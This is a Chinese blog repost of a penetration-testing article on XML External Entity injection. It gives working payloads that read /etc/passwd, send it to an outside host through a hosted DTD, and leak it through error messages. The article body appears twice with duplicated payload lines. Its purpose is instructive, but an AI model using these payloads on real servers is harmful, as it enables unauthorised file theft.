- 浏览: 287568 次
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文地址:https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/
XML External Entity (XXE) injection attacks are a simple way to extract files from a remote server via web requests. For easy use of XXE, the server response must include a reflection point that displays the injected entity (remote file) back to the client. Below is an example of a common XXE injection request and response. The injections have been bolded in red.
However, it’s also very common for nothing to be returned in the error response if the application doesn’t reflect any user input back to the client. This can make simple XXE attacks harder. If connections are allowed to remote systems from the vulnerable server then it’s possible to use an external DTD to extract local files via web requests. This technique has been covered in greater detail at this whitepaper but below is an overview of how the modified XXE injection technique works and can be executed.
Host a .dtd file on a web server that is accessible from the vulnerable system. In my example the “netspi.dtd” file is hosted on xxe.netspi.com. The DTD file contains a XXE injection that will send the contents of the /etc/password file to the web server at http://xxe.netspi.com.
Next, the attack can be executed by referencing the hosted DTD file as shown below. The request does not even have to contain any XML body, for as long as the server processes XML requests.
At this point the XXE attack results in a connection to xxe.netspi.com to load the external DTD file. The hosted DTD file then uses parameter entities to wrap the contents of the /etc/passwd file into another HTTP request to xxe.netspi.com.
Now it may be possible to extract the contents of /etc/passwd file without having a reflection point on the page itself, but by reading incoming traffic on xxe.netspi.com. The file contents can be parsed from web server logs or from an actual page.
I should note that only a single line of /etc/passwd can be read using this method, or the HTTP request may fail altogether because of line breaks in the target file. There is another option though. In some cases it’s also possible to make data extraction easier by forcing an error on the server by adding an invalid URI to the request. Below is an example of a modified DTD:
If the server displays verbose errors to client, the error may contain the file contents of the file that’s getting extracted. Below is an example:
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/xml
Content-Length: 2467
<?xml version="1.0" encoding="UTF-8"?><root>
<errors>
<errorMessage>java.io.FileNotFoundException: file:///nothere/root:x:0:0:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
The invalid file path causes a “FileNotFoundException”, and an error message that contains /etc/passwd file contents. This same technique was recently covered in this Drupal XXE whitepaper as well but as I had the blog written I thought I could as well publish it
XML External Entity (XXE) injection attacks are a simple way to extract files from a remote server via web requests. For easy use of XXE, the server response must include a reflection point that displays the injected entity (remote file) back to the client. Below is an example of a common XXE injection request and response. The injections have been bolded in red.
引用
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&netspi;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/xml
Content-Length: 2467
<?xml version="1.0" encoding="UTF-8"?>
<errors>
<error>no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
</error>
</errors>
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&netspi;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/xml
Content-Length: 2467
<?xml version="1.0" encoding="UTF-8"?>
<errors>
<error>no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
</error>
</errors>
However, it’s also very common for nothing to be returned in the error response if the application doesn’t reflect any user input back to the client. This can make simple XXE attacks harder. If connections are allowed to remote systems from the vulnerable server then it’s possible to use an external DTD to extract local files via web requests. This technique has been covered in greater detail at this whitepaper but below is an overview of how the modified XXE injection technique works and can be executed.
Host a .dtd file on a web server that is accessible from the vulnerable system. In my example the “netspi.dtd” file is hosted on xxe.netspi.com. The DTD file contains a XXE injection that will send the contents of the /etc/password file to the web server at http://xxe.netspi.com.
引用
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://xxe.netspi.com/x=%payload;">'> %param1; %external;
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://xxe.netspi.com/x=%payload;">'> %param1; %external;
Next, the attack can be executed by referencing the hosted DTD file as shown below. The request does not even have to contain any XML body, for as long as the server processes XML requests.
引用
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 139
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo SYSTEM "http://xxe.netspi.com/netspi.dtd">
<root>
<search>name</search>
</root>
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 139
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo SYSTEM "http://xxe.netspi.com/netspi.dtd">
<root>
<search>name</search>
</root>
At this point the XXE attack results in a connection to xxe.netspi.com to load the external DTD file. The hosted DTD file then uses parameter entities to wrap the contents of the /etc/passwd file into another HTTP request to xxe.netspi.com.
Now it may be possible to extract the contents of /etc/passwd file without having a reflection point on the page itself, but by reading incoming traffic on xxe.netspi.com. The file contents can be parsed from web server logs or from an actual page.
I should note that only a single line of /etc/passwd can be read using this method, or the HTTP request may fail altogether because of line breaks in the target file. There is another option though. In some cases it’s also possible to make data extraction easier by forcing an error on the server by adding an invalid URI to the request. Below is an example of a modified DTD:
引用
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
If the server displays verbose errors to client, the error may contain the file contents of the file that’s getting extracted. Below is an example:
引用
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/xml
Content-Length: 2467
<?xml version="1.0" encoding="UTF-8"?><root>
<errors>
<errorMessage>java.io.FileNotFoundException: file:///nothere/root:x:0:0:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
The invalid file path causes a “FileNotFoundException”, and an error message that contains /etc/passwd file contents. This same technique was recently covered in this Drupal XXE whitepaper as well but as I had the blog written I thought I could as well publish it
发表评论
-
linux 安装scrapy
2015-09-07 13:06 600由于scrapy对python3支持不是很好,所以使用pyth ... -
nginx reverse proxy cofinguration
2015-08-28 15:18 416based on our case, we need to h ... -
wpscan
2015-08-01 10:39 434https://www.digitalocean.com/co ... -
arachni-web-ui使用
2015-06-10 01:04 2145最近在玩儿arachni,想试试arachni-ui-web, ... -
HACKING NODEJS AND MONGODB
2015-06-04 23:52 340http://blog.websecurify.com/201 ... -
php object inject
2015-05-29 00:45 337解释: http://securitycafe.ro/2015 ... -
CVE-2011-2461
2015-03-31 01:19 428http://blog.nibblesec.org/2015/ ... -
[译]从配置错误的web server中dump git数据
2015-03-26 01:07 580原文地址:https://blog.netspi.com/du ... -
[转]Microsoft Access sqli
2015-03-18 00:57 435https://milo2012.wordpress.com/ ... -
[转]sqlmap注入Microsoft Access
2015-03-18 00:49 1591https://github.com/sqlmapprojec ... -
crossdomain.xml
2015-03-12 01:23 669参考: https://hackerone.com/repor ... -
[译]使用wireshark解密TLS浏览器流量
2015-03-12 00:57 4125原文地址:https://jimshaver.net/2015 ... -
xxe方法
2015-02-01 18:32 848原文地址:http://www.christian-schne ... -
owasp zed--Web Sockets
2015-01-31 01:16 642http://digi.ninja/blog/zap_web_ ... -
memcached
2015-01-25 01:56 0http://www.sensepost.com/blog/4 ... -
[译]linux使用软连接读取本地文件
2015-01-25 00:28 1970原文地址:http://josipfranjkovic.blo ... -
linux install firefix&plugin
2015-01-22 20:56 4531. download firefox&plugins ... -
Sinatra--超级轻量级web框架
2015-01-17 00:30 658Sinatra是一个超轻量级web框架 介绍:http://w ... -
Shellshock示例
2014-12-19 01:21 316来自:http://pastebin.com/Qbgn09Wa ... -
使用Tesseract 识别验证码
2014-12-10 00:48 793参考: http://code.google.com/p/te ...
相关推荐
而`get_HYCOM_forcing.m`是一个MATLAB脚本,专门设计用于从HYCOM(Hybrid Coordinate Ocean Model)数据源中获取这些必要的强迫数据,以供FVCOM程序使用。 HYCOM是一款全球海洋预报系统,它采用混合坐标系统,能在...
"zero forcing equalizer 3tap convolution"是指一个采用零强制(Zero Forcing, ZF)算法的三阶(3-tap)卷积均衡器。这个主题涉及到数字信号处理、通信系统和矩阵理论等多个IT领域的知识点。 首先,让我们详细了解...
MySQL错误“Forcing close of thread”通常出现在服务器由于资源限制或内部错误而强制关闭某个线程时。这个错误可能是由于数据库连接过多、内存不足、死锁或其他系统问题引起的。为了解决这个问题,我们可以采取以下...
这是Mathy Vanhoef关于破解wifi加密协议WPA/WPA2使用的密钥重安装攻击方法的论文Key Reinstallation Atacks Forcing Nonce Reuse in WPA2的翻译
Zero Forcing Equalizer
Script for computing the BER for BPSK modulation in a Rayleigh fading channel with 2 Tx, 2Rx MIMO channel Zero Forcing equalization
015扩展1:Scheduled Sampling(计划采样)与2. Teacher forcing(教师强制)
Zero Forcing Equalization for Complex Channel
零力均衡器(Zero-Forcing Equalizer,简称ZF)是一种在数字通信系统中用于消除信道影响的信号处理技术。在无线通信或有线通信中,信号在传输过程中会受到各种干扰,如多径传播、噪声等,导致接收端的信号质量下降。...
Zero Forcing Equalizer(零强制均衡器)是其中一种常见的线性均衡技术,它主要用于纠正由信道引起的信号失真。本项目以MATLAB代码实现,适用于EE448课程,并提供了结果图表,帮助我们直观理解其工作原理和效果。 ...
Technology innovations and evolving business models are part of a rapid change that is forcing corporate and management professionals to learn, deploy, and adopt IT in new ways in order to maintain a ...
标题中的"OFDM.zip_ZF_Zero_ofdm_zero forcing OFDM"指的是一个关于正交频分复用(OFDM)技术的压缩包文件,其中重点介绍了零强迫(Zero-Forcing, ZF)均衡器在OFDM系统中的应用。零强迫均衡器是一种用于数字通信系统中...
Air Pollution as a Climate Forcing.pptx
标题中的“ZF.zip_Zero_energy_energy detection_zero forcing”指的是一个与零能检测(Zero Energy Detection)和零强制(Zero Forcing)算法相关的压缩文件。在这个压缩包中,我们有两个文件:ZF.m,这很可能是...
zero-forcing beamforming with semi-orthogonal user selection
书中所提到的“With a Gentle Introduction to Forcing”指的是书中包含了对数学中强制法(Forcing)的一个温和介绍。强制法是一种先进的数学技术,主要用于集合论中,特别是在证明连续统假设独立性的上下文中。这种...
qy_Qualitative A... Forcing Term_郑志明.caj
利用Zero Forcing 等化器的方法, 使用BPSK調變在Rayleigh fading channel with 2 Tx, 2Rx MIMO channel,對於研究了解 MIMO 如何消除雜訊而言是一個很重要的模擬,非常實用